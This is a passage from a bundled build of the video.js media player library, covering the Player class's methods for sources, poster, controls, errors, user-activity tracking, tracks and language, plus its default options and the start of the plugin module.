  9721. * @param {Array} sources Array of source objects
  9722. * @private
  9723. * @method sourceList_
  9724. */
  9725. Player.prototype.sourceList_ = function sourceList_(sources) {
  9726. var sourceTech = this.selectSource(sources);
  9727. if (sourceTech) {
  9728. if (sourceTech.tech === this.techName_) {
  9729. // if this technology is already loaded, set the source
  9730. this.src(sourceTech.source);
  9731. } else {
  9732. // load this technology with the chosen source
  9733. this.loadTech_(sourceTech.tech, sourceTech.source);
  9734. }
  9735. } else {
  9736. // We need to wrap this in a timeout to give folks a chance to add error event handlers
  9737. this.setTimeout(function () {
  9738. this.error({ code: 4, message: this.localize(this.options_.notSupportedMessage) });
  9739. }, 0);
  9740. // we could not find an appropriate tech, but let's still notify the delegate that this is it
  9741. // this needs a better comment about why this is needed
  9742. this.triggerReady();
  9743. }
  9744. };
  9745. /**
  9746. * Begin loading the src data.
  9747. *
  9748. * @return {Player} Returns the player
  9749. * @method load
  9750. */
  9751. Player.prototype.load = function load() {
  9752. this.techCall_('load');
  9753. return this;
  9754. };
  9755. /**
  9756. * Reset the player. Loads the first tech in the techOrder,
  9757. * and calls `reset` on the tech`.
  9758. *
  9759. * @return {Player} Returns the player
  9760. * @method reset
  9761. */
  9762. Player.prototype.reset = function reset() {
  9763. this.loadTech_(_utilsToTitleCaseJs2['default'](this.options_.techOrder[0]), null);
  9764. this.techCall_('reset');
  9765. return this;
  9766. };
  9767. /**
  9768. * Returns the fully qualified URL of the current source value e.g. http://mysite.com/video.mp4
  9769. * Can be used in conjuction with `currentType` to assist in rebuilding the current source object.
  9770. *
  9771. * @return {String} The current source
  9772. * @method currentSrc
  9773. */
  9774. Player.prototype.currentSrc = function currentSrc() {
  9775. return this.techGet_('currentSrc') || this.cache_.src || '';
  9776. };
  9777. /**
  9778. * Get the current source type e.g. video/mp4
  9779. * This can allow you rebuild the current source object so that you could load the same
  9780. * source and tech later
  9781. *
  9782. * @return {String} The source MIME type
  9783. * @method currentType
  9784. */
  9785. Player.prototype.currentType = function currentType() {
  9786. return this.currentType_ || '';
  9787. };
  9788. /**
  9789. * Get or set the preload attribute
  9790. *
  9791. * @param {Boolean} value Boolean to determine if preload should be used
  9792. * @return {String} The preload attribute value when getting
  9793. * @return {Player} Returns the player when setting
  9794. * @method preload
  9795. */
  9796. Player.prototype.preload = function preload(value) {
  9797. if (value !== undefined) {
  9798. this.techCall_('setPreload', value);
  9799. this.options_.preload = value;
  9800. return this;
  9801. }
  9802. return this.techGet_('preload');
  9803. };
  9804. /**
  9805. * Get or set the autoplay attribute.
  9806. *
  9807. * @param {Boolean} value Boolean to determine if video should autoplay
  9808. * @return {String} The autoplay attribute value when getting
  9809. * @return {Player} Returns the player when setting
  9810. * @method autoplay
  9811. */
  9812. Player.prototype.autoplay = function autoplay(value) {
  9813. if (value !== undefined) {
  9814. this.techCall_('setAutoplay', value);
  9815. this.options_.autoplay = value;
  9816. return this;
  9817. }
  9818. return this.techGet_('autoplay', value);
  9819. };
  9820. /**
  9821. * Get or set the loop attribute on the video element.
  9822. *
  9823. * @param {Boolean} value Boolean to determine if video should loop
  9824. * @return {String} The loop attribute value when getting
  9825. * @return {Player} Returns the player when setting
  9826. * @method loop
  9827. */
  9828. Player.prototype.loop = function loop(value) {
  9829. if (value !== undefined) {
  9830. this.techCall_('setLoop', value);
  9831. this.options_['loop'] = value;
  9832. return this;
  9833. }
  9834. return this.techGet_('loop');
  9835. };
  9836. /**
  9837. * Get or set the poster image source url
  9838. *
  9839. * ##### EXAMPLE:
  9840. * ```js
  9841. * // get
  9842. * var currentPoster = myPlayer.poster();
  9843. * // set
  9844. * myPlayer.poster('http://example.com/myImage.jpg');
  9845. * ```
  9846. *
  9847. * @param {String=} src Poster image source URL
  9848. * @return {String} poster URL when getting
  9849. * @return {Player} self when setting
  9850. * @method poster
  9851. */
  9852. Player.prototype.poster = function poster(src) {
  9853. if (src === undefined) {
  9854. return this.poster_;
  9855. }
  9856. // The correct way to remove a poster is to set as an empty string
  9857. // other falsey values will throw errors
  9858. if (!src) {
  9859. src = '';
  9860. }
  9861. // update the internal poster variable
  9862. this.poster_ = src;
  9863. // update the tech's poster
  9864. this.techCall_('setPoster', src);
  9865. // alert components that the poster has been set
  9866. this.trigger('posterchange');
  9867. return this;
  9868. };
  9869. /**
  9870. * Some techs (e.g. YouTube) can provide a poster source in an
  9871. * asynchronous way. We want the poster component to use this
  9872. * poster source so that it covers up the tech's controls.
  9873. * (YouTube's play button). However we only want to use this
  9874. * soruce if the player user hasn't set a poster through
  9875. * the normal APIs.
  9876. *
  9877. * @private
  9878. * @method handleTechPosterChange_
  9879. */
  9880. Player.prototype.handleTechPosterChange_ = function handleTechPosterChange_() {
  9881. if (!this.poster_ && this.tech_ && this.tech_.poster) {
  9882. this.poster_ = this.tech_.poster() || '';
  9883. // Let components know the poster has changed
  9884. this.trigger('posterchange');
  9885. }
  9886. };
  9887. /**
  9888. * Get or set whether or not the controls are showing.
  9889. *
  9890. * @param {Boolean} bool Set controls to showing or not
  9891. * @return {Boolean} Controls are showing
  9892. * @method controls
  9893. */
  9894. Player.prototype.controls = function controls(bool) {
  9895. if (bool !== undefined) {
  9896. bool = !!bool; // force boolean
  9897. // Don't trigger a change event unless it actually changed
  9898. if (this.controls_ !== bool) {
  9899. this.controls_ = bool;
  9900. if (this.usingNativeControls()) {
  9901. this.techCall_('setControls', bool);
  9902. }
  9903. if (bool) {
  9904. this.removeClass('vjs-controls-disabled');
  9905. this.addClass('vjs-controls-enabled');
  9906. this.trigger('controlsenabled');
  9907. if (!this.usingNativeControls()) {
  9908. this.addTechControlsListeners_();
  9909. }
  9910. } else {
  9911. this.removeClass('vjs-controls-enabled');
  9912. this.addClass('vjs-controls-disabled');
  9913. this.trigger('controlsdisabled');
  9914. if (!this.usingNativeControls()) {
  9915. this.removeTechControlsListeners_();
  9916. }
  9917. }
  9918. }
  9919. return this;
  9920. }
  9921. return !!this.controls_;
  9922. };
  9923. /**
  9924. * Toggle native controls on/off. Native controls are the controls built into
  9925. * devices (e.g. default iPhone controls), Flash, or other techs
  9926. * (e.g. Vimeo Controls)
  9927. * **This should only be set by the current tech, because only the tech knows
  9928. * if it can support native controls**
  9929. *
  9930. * @param {Boolean} bool True signals that native controls are on
  9931. * @return {Player} Returns the player
  9932. * @private
  9933. * @method usingNativeControls
  9934. */
  9935. Player.prototype.usingNativeControls = function usingNativeControls(bool) {
  9936. if (bool !== undefined) {
  9937. bool = !!bool; // force boolean
  9938. // Don't trigger a change event unless it actually changed
  9939. if (this.usingNativeControls_ !== bool) {
  9940. this.usingNativeControls_ = bool;
  9941. if (bool) {
  9942. this.addClass('vjs-using-native-controls');
  9943. /**
  9944. * player is using the native device controls
  9945. *
  9946. * @event usingnativecontrols
  9947. * @memberof Player
  9948. * @instance
  9949. * @private
  9950. */
  9951. this.trigger('usingnativecontrols');
  9952. } else {
  9953. this.removeClass('vjs-using-native-controls');
  9954. /**
  9955. * player is using the custom HTML controls
  9956. *
  9957. * @event usingcustomcontrols
  9958. * @memberof Player
  9959. * @instance
  9960. * @private
  9961. */
  9962. this.trigger('usingcustomcontrols');
  9963. }
  9964. }
  9965. return this;
  9966. }
  9967. return !!this.usingNativeControls_;
  9968. };
  9969. /**
  9970. * Set or get the current MediaError
  9971. *
  9972. * @param {*} err A MediaError or a String/Number to be turned into a MediaError
  9973. * @return {MediaError|null} when getting
  9974. * @return {Player} when setting
  9975. * @method error
  9976. */
  9977. Player.prototype.error = function error(err) {
  9978. if (err === undefined) {
  9979. return this.error_ || null;
  9980. }
  9981. // restoring to default
  9982. if (err === null) {
  9983. this.error_ = err;
  9984. this.removeClass('vjs-error');
  9985. if (this.errorDisplay) {
  9986. this.errorDisplay.close();
  9987. }
  9988. return this;
  9989. }
  9990. this.error_ = new _mediaErrorJs2['default'](err);
  9991. // add the vjs-error classname to the player
  9992. this.addClass('vjs-error');
  9993. // log the name of the error type and any message
  9994. // ie8 just logs "[object object]" if you just log the error object
  9995. _utilsLogJs2['default'].error('(CODE:' + this.error_.code + ' ' + _mediaErrorJs2['default'].errorTypes[this.error_.code] + ')', this.error_.message, this.error_);
  9996. // fire an error event on the player
  9997. this.trigger('error');
  9998. return this;
  9999. };
  10000. /**
  10001. * Returns whether or not the player is in the "ended" state.
  10002. *
  10003. * @return {Boolean} True if the player is in the ended state, false if not.
  10004. * @method ended
  10005. */
  10006. Player.prototype.ended = function ended() {
  10007. return this.techGet_('ended');
  10008. };
  10009. /**
  10010. * Returns whether or not the player is in the "seeking" state.
  10011. *
  10012. * @return {Boolean} True if the player is in the seeking state, false if not.
  10013. * @method seeking
  10014. */
  10015. Player.prototype.seeking = function seeking() {
  10016. return this.techGet_('seeking');
  10017. };
  10018. /**
  10019. * Returns the TimeRanges of the media that are currently available
  10020. * for seeking to.
  10021. *
  10022. * @return {TimeRanges} the seekable intervals of the media timeline
  10023. * @method seekable
  10024. */
  10025. Player.prototype.seekable = function seekable() {
  10026. return this.techGet_('seekable');
  10027. };
  10028. /**
  10029. * Report user activity
  10030. *
  10031. * @param {Object} event Event object
  10032. * @method reportUserActivity
  10033. */
  10034. Player.prototype.reportUserActivity = function reportUserActivity(event) {
  10035. this.userActivity_ = true;
  10036. };
  10037. /**
  10038. * Get/set if user is active
  10039. *
  10040. * @param {Boolean} bool Value when setting
  10041. * @return {Boolean} Value if user is active user when getting
  10042. * @method userActive
  10043. */
  10044. Player.prototype.userActive = function userActive(bool) {
  10045. if (bool !== undefined) {
  10046. bool = !!bool;
  10047. if (bool !== this.userActive_) {
  10048. this.userActive_ = bool;
  10049. if (bool) {
  10050. // If the user was inactive and is now active we want to reset the
  10051. // inactivity timer
  10052. this.userActivity_ = true;
  10053. this.removeClass('vjs-user-inactive');
  10054. this.addClass('vjs-user-active');
  10055. this.trigger('useractive');
  10056. } else {
  10057. // We're switching the state to inactive manually, so erase any other
  10058. // activity
  10059. this.userActivity_ = false;
  10060. // Chrome/Safari/IE have bugs where when you change the cursor it can
  10061. // trigger a mousemove event. This causes an issue when you're hiding
  10062. // the cursor when the user is inactive, and a mousemove signals user
  10063. // activity. Making it impossible to go into inactive mode. Specifically
  10064. // this happens in fullscreen when we really need to hide the cursor.
  10065. //
  10066. // When this gets resolved in ALL browsers it can be removed
  10067. // https://code.google.com/p/chromium/issues/detail?id=103041
  10068. if (this.tech_) {
  10069. this.tech_.one('mousemove', function (e) {
  10070. e.stopPropagation();
  10071. e.preventDefault();
  10072. });
  10073. }
  10074. this.removeClass('vjs-user-active');
  10075. this.addClass('vjs-user-inactive');
  10076. this.trigger('userinactive');
  10077. }
  10078. }
  10079. return this;
  10080. }
  10081. return this.userActive_;
  10082. };
  10083. /**
  10084. * Listen for user activity based on timeout value
  10085. *
  10086. * @private
  10087. * @method listenForUserActivity_
  10088. */
  10089. Player.prototype.listenForUserActivity_ = function listenForUserActivity_() {
  10090. var mouseInProgress = undefined,
  10091. lastMoveX = undefined,
  10092. lastMoveY = undefined;
  10093. var handleActivity = Fn.bind(this, this.reportUserActivity);
  10094. var handleMouseMove = function handleMouseMove(e) {
  10095. // #1068 - Prevent mousemove spamming
  10096. // Chrome Bug: https://code.google.com/p/chromium/issues/detail?id=366970
  10097. if (e.screenX !== lastMoveX || e.screenY !== lastMoveY) {
  10098. lastMoveX = e.screenX;
  10099. lastMoveY = e.screenY;
  10100. handleActivity();
  10101. }
  10102. };
  10103. var handleMouseDown = function handleMouseDown() {
  10104. handleActivity();
  10105. // For as long as the they are touching the device or have their mouse down,
  10106. // we consider them active even if they're not moving their finger or mouse.
  10107. // So we want to continue to update that they are active
  10108. this.clearInterval(mouseInProgress);
  10109. // Setting userActivity=true now and setting the interval to the same time
  10110. // as the activityCheck interval (250) should ensure we never miss the
  10111. // next activityCheck
  10112. mouseInProgress = this.setInterval(handleActivity, 250);
  10113. };
  10114. var handleMouseUp = function handleMouseUp(event) {
  10115. handleActivity();
  10116. // Stop the interval that maintains activity if the mouse/touch is down
  10117. this.clearInterval(mouseInProgress);
  10118. };
  10119. // Any mouse movement will be considered user activity
  10120. this.on('mousedown', handleMouseDown);
  10121. this.on('mousemove', handleMouseMove);
  10122. this.on('mouseup', handleMouseUp);
  10123. // Listen for keyboard navigation
  10124. // Shouldn't need to use inProgress interval because of key repeat
  10125. this.on('keydown', handleActivity);
  10126. this.on('keyup', handleActivity);
  10127. // Run an interval every 250 milliseconds instead of stuffing everything into
  10128. // the mousemove/touchmove function itself, to prevent performance degradation.
  10129. // `this.reportUserActivity` simply sets this.userActivity_ to true, which
  10130. // then gets picked up by this loop
  10131. // http://ejohn.org/blog/learning-from-twitter/
  10132. var inactivityTimeout = undefined;
  10133. var activityCheck = this.setInterval(function () {
  10134. // Check to see if mouse/touch activity has happened
  10135. if (this.userActivity_) {
  10136. // Reset the activity tracker
  10137. this.userActivity_ = false;
  10138. // If the user state was inactive, set the state to active
  10139. this.userActive(true);
  10140. // Clear any existing inactivity timeout to start the timer over
  10141. this.clearTimeout(inactivityTimeout);
  10142. var timeout = this.options_['inactivityTimeout'];
  10143. if (timeout > 0) {
  10144. // In <timeout> milliseconds, if no more activity has occurred the
  10145. // user will be considered inactive
  10146. inactivityTimeout = this.setTimeout(function () {
  10147. // Protect against the case where the inactivityTimeout can trigger just
  10148. // before the next user activity is picked up by the activityCheck loop
  10149. // causing a flicker
  10150. if (!this.userActivity_) {
  10151. this.userActive(false);
  10152. }
  10153. }, timeout);
  10154. }
  10155. }
  10156. }, 250);
  10157. };
  10158. /**
  10159. * Gets or sets the current playback rate. A playback rate of
  10160. * 1.0 represents normal speed and 0.5 would indicate half-speed
  10161. * playback, for instance.
  10162. * @see https://html.spec.whatwg.org/multipage/embedded-content.html#dom-media-playbackrate
  10163. *
  10164. * @param {Number} rate New playback rate to set.
  10165. * @return {Number} Returns the new playback rate when setting
  10166. * @return {Number} Returns the current playback rate when getting
  10167. * @method playbackRate
  10168. */
  10169. Player.prototype.playbackRate = function playbackRate(rate) {
  10170. if (rate !== undefined) {
  10171. this.techCall_('setPlaybackRate', rate);
  10172. return this;
  10173. }
  10174. if (this.tech_ && this.tech_['featuresPlaybackRate']) {
  10175. return this.techGet_('playbackRate');
  10176. } else {
  10177. return 1.0;
  10178. }
  10179. };
  10180. /**
  10181. * Gets or sets the audio flag
  10182. *
  10183. * @param {Boolean} bool True signals that this is an audio player.
  10184. * @return {Boolean} Returns true if player is audio, false if not when getting
  10185. * @return {Player} Returns the player if setting
  10186. * @private
  10187. * @method isAudio
  10188. */
  10189. Player.prototype.isAudio = function isAudio(bool) {
  10190. if (bool !== undefined) {
  10191. this.isAudio_ = !!bool;
  10192. return this;
  10193. }
  10194. return !!this.isAudio_;
  10195. };
  10196. /**
  10197. * Returns the current state of network activity for the element, from
  10198. * the codes in the list below.
  10199. * - NETWORK_EMPTY (numeric value 0)
  10200. * The element has not yet been initialised. All attributes are in
  10201. * their initial states.
  10202. * - NETWORK_IDLE (numeric value 1)
  10203. * The element's resource selection algorithm is active and has
  10204. * selected a resource, but it is not actually using the network at
  10205. * this time.
  10206. * - NETWORK_LOADING (numeric value 2)
  10207. * The user agent is actively trying to download data.
  10208. * - NETWORK_NO_SOURCE (numeric value 3)
  10209. * The element's resource selection algorithm is active, but it has
  10210. * not yet found a resource to use.
  10211. *
  10212. * @see https://html.spec.whatwg.org/multipage/embedded-content.html#network-states
  10213. * @return {Number} the current network activity state
  10214. * @method networkState
  10215. */
  10216. Player.prototype.networkState = function networkState() {
  10217. return this.techGet_('networkState');
  10218. };
  10219. /**
  10220. * Returns a value that expresses the current state of the element
  10221. * with respect to rendering the current playback position, from the
  10222. * codes in the list below.
  10223. * - HAVE_NOTHING (numeric value 0)
  10224. * No information regarding the media resource is available.
  10225. * - HAVE_METADATA (numeric value 1)
  10226. * Enough of the resource has been obtained that the duration of the
  10227. * resource is available.
  10228. * - HAVE_CURRENT_DATA (numeric value 2)
  10229. * Data for the immediate current playback position is available.
  10230. * - HAVE_FUTURE_DATA (numeric value 3)
  10231. * Data for the immediate current playback position is available, as
  10232. * well as enough data for the user agent to advance the current
  10233. * playback position in the direction of playback.
  10234. * - HAVE_ENOUGH_DATA (numeric value 4)
  10235. * The user agent estimates that enough data is available for
  10236. * playback to proceed uninterrupted.
  10237. *
  10238. * @see https://html.spec.whatwg.org/multipage/embedded-content.html#dom-media-readystate
  10239. * @return {Number} the current playback rendering state
  10240. * @method readyState
  10241. */
  10242. Player.prototype.readyState = function readyState() {
  10243. return this.techGet_('readyState');
  10244. };
  10245. /**
  10246. * Get a video track list
  10247. * @link https://html.spec.whatwg.org/multipage/embedded-content.html#videotracklist
  10248. *
  10249. * @return {VideoTrackList} thes current video track list
  10250. * @method videoTracks
  10251. */
  10252. Player.prototype.videoTracks = function videoTracks() {
  10253. // if we have not yet loadTech_, we create videoTracks_
  10254. // these will be passed to the tech during loading
  10255. if (!this.tech_) {
  10256. this.videoTracks_ = this.videoTracks_ || new _tracksVideoTrackListJs2['default']();
  10257. return this.videoTracks_;
  10258. }
  10259. return this.tech_.videoTracks();
  10260. };
  10261. /**
  10262. * Get an audio track list
  10263. * @link https://html.spec.whatwg.org/multipage/embedded-content.html#audiotracklist
  10264. *
  10265. * @return {AudioTrackList} thes current audio track list
  10266. * @method audioTracks
  10267. */
  10268. Player.prototype.audioTracks = function audioTracks() {
  10269. // if we have not yet loadTech_, we create videoTracks_
  10270. // these will be passed to the tech during loading
  10271. if (!this.tech_) {
  10272. this.audioTracks_ = this.audioTracks_ || new _tracksAudioTrackListJs2['default']();
  10273. return this.audioTracks_;
  10274. }
  10275. return this.tech_.audioTracks();
  10276. };
  10277. /*
  10278. * Text tracks are tracks of timed text events.
  10279. * Captions - text displayed over the video for the hearing impaired
  10280. * Subtitles - text displayed over the video for those who don't understand language in the video
  10281. * Chapters - text displayed in a menu allowing the user to jump to particular points (chapters) in the video
  10282. * Descriptions (not supported yet) - audio descriptions that are read back to the user by a screen reading device
  10283. */
  10284. /**
  10285. * Get an array of associated text tracks. captions, subtitles, chapters, descriptions
  10286. * http://www.w3.org/html/wg/drafts/html/master/embedded-content-0.html#dom-media-texttracks
  10287. *
  10288. * @return {Array} Array of track objects
  10289. * @method textTracks
  10290. */
  10291. Player.prototype.textTracks = function textTracks() {
  10292. // cannot use techGet_ directly because it checks to see whether the tech is ready.
  10293. // Flash is unlikely to be ready in time but textTracks should still work.
  10294. return this.tech_ && this.tech_['textTracks']();
  10295. };
  10296. /**
  10297. * Get an array of remote text tracks
  10298. *
  10299. * @return {Array}
  10300. * @method remoteTextTracks
  10301. */
  10302. Player.prototype.remoteTextTracks = function remoteTextTracks() {
  10303. return this.tech_ && this.tech_['remoteTextTracks']();
  10304. };
  10305. /**
  10306. * Get an array of remote html track elements
  10307. *
  10308. * @return {HTMLTrackElement[]}
  10309. * @method remoteTextTrackEls
  10310. */
  10311. Player.prototype.remoteTextTrackEls = function remoteTextTrackEls() {
  10312. return this.tech_ && this.tech_['remoteTextTrackEls']();
  10313. };
  10314. /**
  10315. * Add a text track
  10316. * In addition to the W3C settings we allow adding additional info through options.
  10317. * http://www.w3.org/html/wg/drafts/html/master/embedded-content-0.html#dom-media-addtexttrack
  10318. *
  10319. * @param {String} kind Captions, subtitles, chapters, descriptions, or metadata
  10320. * @param {String=} label Optional label
  10321. * @param {String=} language Optional language
  10322. * @method addTextTrack
  10323. */
  10324. Player.prototype.addTextTrack = function addTextTrack(kind, label, language) {
  10325. return this.tech_ && this.tech_['addTextTrack'](kind, label, language);
  10326. };
  10327. /**
  10328. * Add a remote text track
  10329. *
  10330. * @param {Object} options Options for remote text track
  10331. * @method addRemoteTextTrack
  10332. */
  10333. Player.prototype.addRemoteTextTrack = function addRemoteTextTrack(options) {
  10334. return this.tech_ && this.tech_['addRemoteTextTrack'](options);
  10335. };
  10336. /**
  10337. * Remove a remote text track
  10338. *
  10339. * @param {Object} track Remote text track to remove
  10340. * @method removeRemoteTextTrack
  10341. */
  10342. // destructure the input into an object with a track argument, defaulting to arguments[0]
  10343. // default the whole argument to an empty object if nothing was passed in
  10344. Player.prototype.removeRemoteTextTrack = function removeRemoteTextTrack() {
  10345. var _ref3 = arguments.length <= 0 || arguments[0] === undefined ? {} : arguments[0];
  10346. var _ref3$track = _ref3.track;
  10347. var track = _ref3$track === undefined ? arguments[0] : _ref3$track;
  10348. // jshint ignore:line
  10349. this.tech_ && this.tech_['removeRemoteTextTrack'](track);
  10350. };
  10351. /**
  10352. * Get video width
  10353. *
  10354. * @return {Number} Video width
  10355. * @method videoWidth
  10356. */
  10357. Player.prototype.videoWidth = function videoWidth() {
  10358. return this.tech_ && this.tech_.videoWidth && this.tech_.videoWidth() || 0;
  10359. };
  10360. /**
  10361. * Get video height
  10362. *
  10363. * @return {Number} Video height
  10364. * @method videoHeight
  10365. */
  10366. Player.prototype.videoHeight = function videoHeight() {
  10367. return this.tech_ && this.tech_.videoHeight && this.tech_.videoHeight() || 0;
  10368. };
  10369. // Methods to add support for
  10370. // initialTime: function(){ return this.techCall_('initialTime'); },
  10371. // startOffsetTime: function(){ return this.techCall_('startOffsetTime'); },
  10372. // played: function(){ return this.techCall_('played'); },
  10373. // defaultPlaybackRate: function(){ return this.techCall_('defaultPlaybackRate'); },
  10374. // defaultMuted: function(){ return this.techCall_('defaultMuted'); }
  10375. /**
  10376. * The player's language code
  10377. * NOTE: The language should be set in the player options if you want the
  10378. * the controls to be built with a specific language. Changing the lanugage
  10379. * later will not update controls text.
  10380. *
  10381. * @param {String} code The locale string
  10382. * @return {String} The locale string when getting
  10383. * @return {Player} self when setting
  10384. * @method language
  10385. */
  10386. Player.prototype.language = function language(code) {
  10387. if (code === undefined) {
  10388. return this.language_;
  10389. }
  10390. this.language_ = ('' + code).toLowerCase();
  10391. return this;
  10392. };
  10393. /**
  10394. * Get the player's language dictionary
  10395. * Merge every time, because a newly added plugin might call videojs.addLanguage() at any time
  10396. * Languages specified directly in the player options have precedence
  10397. *
  10398. * @return {Array} Array of languages
  10399. * @method languages
  10400. */
  10401. Player.prototype.languages = function languages() {
  10402. return _utilsMergeOptionsJs2['default'](Player.prototype.options_.languages, this.languages_);
  10403. };
  10404. /**
  10405. * Converts track info to JSON
  10406. *
  10407. * @return {Object} JSON object of options
  10408. * @method toJSON
  10409. */
  10410. Player.prototype.toJSON = function toJSON() {
  10411. var options = _utilsMergeOptionsJs2['default'](this.options_);
  10412. var tracks = options.tracks;
  10413. options.tracks = [];
  10414. for (var i = 0; i < tracks.length; i++) {
  10415. var track = tracks[i];
  10416. // deep merge tracks and null out player so no circular references
  10417. track = _utilsMergeOptionsJs2['default'](track);
  10418. track.player = undefined;
  10419. options.tracks[i] = track;
  10420. }
  10421. return options;
  10422. };
  10423. /**
  10424. * Creates a simple modal dialog (an instance of the `ModalDialog`
  10425. * component) that immediately overlays the player with arbitrary
  10426. * content and removes itself when closed.
  10427. *
  10428. * @param {String|Function|Element|Array|Null} content
  10429. * Same as `ModalDialog#content`'s param of the same name.
  10430. *
  10431. * The most straight-forward usage is to provide a string or DOM
  10432. * element.
  10433. *
  10434. * @param {Object} [options]
  10435. * Extra options which will be passed on to the `ModalDialog`.
  10436. *
  10437. * @return {ModalDialog}
  10438. */
  10439. Player.prototype.createModal = function createModal(content, options) {
  10440. var player = this;
  10441. options = options || {};
  10442. options.content = content || '';
  10443. var modal = new _modalDialog2['default'](player, options);
  10444. player.addChild(modal);
  10445. modal.on('dispose', function () {
  10446. player.removeChild(modal);
  10447. });
  10448. return modal.open();
  10449. };
  10450. /**
  10451. * Gets tag settings
  10452. *
  10453. * @param {Element} tag The player tag
  10454. * @return {Array} An array of sources and track objects
  10455. * @static
  10456. * @method getTagSettings
  10457. */
  10458. Player.getTagSettings = function getTagSettings(tag) {
  10459. var baseOptions = {
  10460. 'sources': [],
  10461. 'tracks': []
  10462. };
  10463. var tagOptions = Dom.getElAttributes(tag);
  10464. var dataSetup = tagOptions['data-setup'];
  10465. // Check if data-setup attr exists.
  10466. if (dataSetup !== null) {
  10467. // Parse options JSON
  10468. var _safeParseTuple = _safeJsonParseTuple2['default'](dataSetup || '{}');
  10469. var err = _safeParseTuple[0];
  10470. var data = _safeParseTuple[1];
  10471. if (err) {
  10472. _utilsLogJs2['default'].error(err);
  10473. }
  10474. _objectAssign2['default'](tagOptions, data);
  10475. }
  10476. _objectAssign2['default'](baseOptions, tagOptions);
  10477. // Get tag children settings
  10478. if (tag.hasChildNodes()) {
  10479. var children = tag.childNodes;
  10480. for (var i = 0, j = children.length; i < j; i++) {
  10481. var child = children[i];
  10482. // Change case needed: http://ejohn.org/blog/nodename-case-sensitivity/
  10483. var childName = child.nodeName.toLowerCase();
  10484. if (childName === 'source') {
  10485. baseOptions.sources.push(Dom.getElAttributes(child));
  10486. } else if (childName === 'track') {
  10487. baseOptions.tracks.push(Dom.getElAttributes(child));
  10488. }
  10489. }
  10490. }
  10491. return baseOptions;
  10492. };
  10493. return Player;
  10494. })(_componentJs2['default']);
  10495. Player.players = {};
  10496. var navigator = _globalWindow2['default'].navigator;
  10497. /*
  10498. * Player instance options, surfaced using options
  10499. * options = Player.prototype.options_
  10500. * Make changes in options, not here.
  10501. *
  10502. * @type {Object}
  10503. * @private
  10504. */
  10505. Player.prototype.options_ = {
  10506. // Default order of fallback technology
  10507. techOrder: ['html5', 'flash'],
  10508. // techOrder: ['flash','html5'],
  10509. html5: {},
  10510. flash: {},
  10511. // defaultVolume: 0.85,
  10512. defaultVolume: 0.00, // The freakin seaguls are driving me crazy!
  10513. // default inactivity timeout
  10514. inactivityTimeout: 2000,
  10515. // default playback rates
  10516. playbackRates: [],
  10517. // Add playback rate selection by adding rates
  10518. // 'playbackRates': [0.5, 1, 1.5, 2],
  10519. // Included control sets
  10520. children: ['mediaLoader', 'posterImage', 'textTrackDisplay', 'loadingSpinner', 'bigPlayButton', 'controlBar', 'errorDisplay', 'textTrackSettings'],
  10521. language: navigator.languages && navigator.languages[0] || navigator.userLanguage || navigator.language || 'en',
  10522. // locales and their language translations
  10523. languages: {},
  10524. // Default message to show when a video cannot be played.
  10525. notSupportedMessage: 'No compatible source was found for this media.'
  10526. };
  10527. /**
  10528. * Fired when the user agent begins looking for media data
  10529. *
  10530. * @event loadstart
  10531. */
  10532. Player.prototype.handleTechLoadStart_;
  10533. /**
  10534. * Fired when the player has initial duration and dimension information
  10535. *
  10536. * @event loadedmetadata
  10537. */
  10538. Player.prototype.handleLoadedMetaData_;
  10539. /**
  10540. * Fired when the player receives text data
  10541. *
  10542. * @event textdata
  10543. */
  10544. Player.prototype.handleTextData_;
  10545. /**
  10546. * Fired when the player has downloaded data at the current playback position
  10547. *
  10548. * @event loadeddata
  10549. */
  10550. Player.prototype.handleLoadedData_;
  10551. /**
  10552. * Fired when the user is active, e.g. moves the mouse over the player
  10553. *
  10554. * @event useractive
  10555. */
  10556. Player.prototype.handleUserActive_;
  10557. /**
  10558. * Fired when the user is inactive, e.g. a short delay after the last mouse move or control interaction
  10559. *
  10560. * @event userinactive
  10561. */
  10562. Player.prototype.handleUserInactive_;
  10563. /**
  10564. * Fired when the current playback position has changed *
  10565. * During playback this is fired every 15-250 milliseconds, depending on the
  10566. * playback technology in use.
  10567. *
  10568. * @event timeupdate
  10569. */
  10570. Player.prototype.handleTimeUpdate_;
  10571. /**
  10572. * Fired when video playback ends
  10573. *
  10574. * @event ended
  10575. */
  10576. Player.prototype.handleTechEnded_;
  10577. /**
  10578. * Fired when the volume changes
  10579. *
  10580. * @event volumechange
  10581. */
  10582. Player.prototype.handleVolumeChange_;
  10583. /**
  10584. * Fired when an error occurs
  10585. *
  10586. * @event error
  10587. */
  10588. Player.prototype.handleError_;
  10589. Player.prototype.flexNotSupported_ = function () {
  10590. var elem = _globalDocument2['default'].createElement('i');
  10591. // Note: We don't actually use flexBasis (or flexOrder), but it's one of the more
  10592. // common flex features that we can rely on when checking for flex support.
  10593. return !('flexBasis' in elem.style || 'webkitFlexBasis' in elem.style || 'mozFlexBasis' in elem.style || 'msFlexBasis' in elem.style || 'msFlexOrder' in elem.style) /* IE10-specific (2012 flex spec) */;
  10594. };
  10595. _componentJs2['default'].registerComponent('Player', Player);
  10596. exports['default'] = Player;
  10597. module.exports = exports['default'];
  10598. // If empty string, make it a parsable json object.
  10599. },{"./big-play-button.js":63,"./component.js":67,"./control-bar/control-bar.js":70,"./error-display.js":103,"./fullscreen-api.js":106,"./loading-spinner.js":107,"./media-error.js":108,"./modal-dialog":112,"./poster-image.js":117,"./tech/html5.js":122,"./tech/loader.js":123,"./tech/tech.js":124,"./tracks/audio-track-list.js":125,"./tracks/text-track-display.js":130,"./tracks/text-track-list-converter.js":131,"./tracks/text-track-settings.js":133,"./tracks/video-track-list.js":138,"./utils/browser.js":140,"./utils/buffer.js":141,"./utils/dom.js":142,"./utils/events.js":143,"./utils/fn.js":144,"./utils/guid.js":146,"./utils/log.js":147,"./utils/merge-options.js":148,"./utils/stylesheet.js":149,"./utils/time-ranges.js":150,"./utils/to-title-case.js":151,"global/document":1,"global/window":2,"object.assign":45,"safe-json-parse/tuple":54}],114:[function(_dereq_,module,exports){
  10600. /**
  10601. * @file plugins.js
  10602. */
  10603. 'use strict';
  10604. exports.__esModule = true;
  10605. function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
  10606. var _playerJs = _dereq_('./player.js');
  10607. var _playerJs2 = _interopRequireDefault(_playerJs);
  10608. /**
  10609. * The method for registering a video.js plugin
  10610. *
  10611. * @param {String} name The name of the plugin
  10612. * @param {Function} init The function that is run when the player inits
  10613. * @method plugin
  10614. */
  10615. var plugin = function plugin(name, init) {
  10616. _playerJs2['default'].prototype[name] = init;
  10617. };
